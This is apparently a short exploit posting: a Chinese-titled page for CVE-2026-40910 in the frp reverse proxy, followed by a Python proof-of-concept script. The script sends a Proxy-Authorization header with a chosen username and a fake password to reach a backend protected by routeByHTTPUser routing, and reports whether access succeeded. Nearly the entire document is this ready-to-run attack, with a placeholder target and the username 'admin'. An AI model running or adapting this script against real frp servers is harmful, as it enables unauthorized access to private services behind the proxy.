CVE-2026-40910 frp认证绕过漏洞

import requests import base64 # Exploit for CVE-2026-40910 # Description: Bypass authentication in frp when routeByHTTPUser is used. def exploit_frp_auth_bypass(target_url, target_user): """ Attempts to access a protected backend by exploiting the routing logic mismatch. """ # Construct the Proxy-Authorization header with the target user and a fake password. # The routing logic uses the username from this header to select the backend. fake_password = "incorrect_password" credentials = f"{target_user}:{fake_password}" encoded_creds = base64.b64encode(credentials.encode()).decode() headers = { "Proxy-Authorization": f"Basic {encoded_creds}", # The 'Authorization' header is used for the access control check, # but the vulnerability allows bypassing the password check in routing. # Depending on config, we might send nothing or a generic header here. } try: print(f"[*] Attempting to connect to {target_url} as user '{target_user}'...") response = requests.get(target_url, headers=headers) if response.status_code == 200: print(f"[+] Success! Accessed protected backend.") print(f"[+] Response length: {len(response.text)}") else: print(f"[-] Failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with actual target and guessed username TARGET = "http://example-frp.com:8080" USERNAME = "admin" # The value of routeByHTTPUser exploit_frp_auth_bypass(TARGET, USERNAME)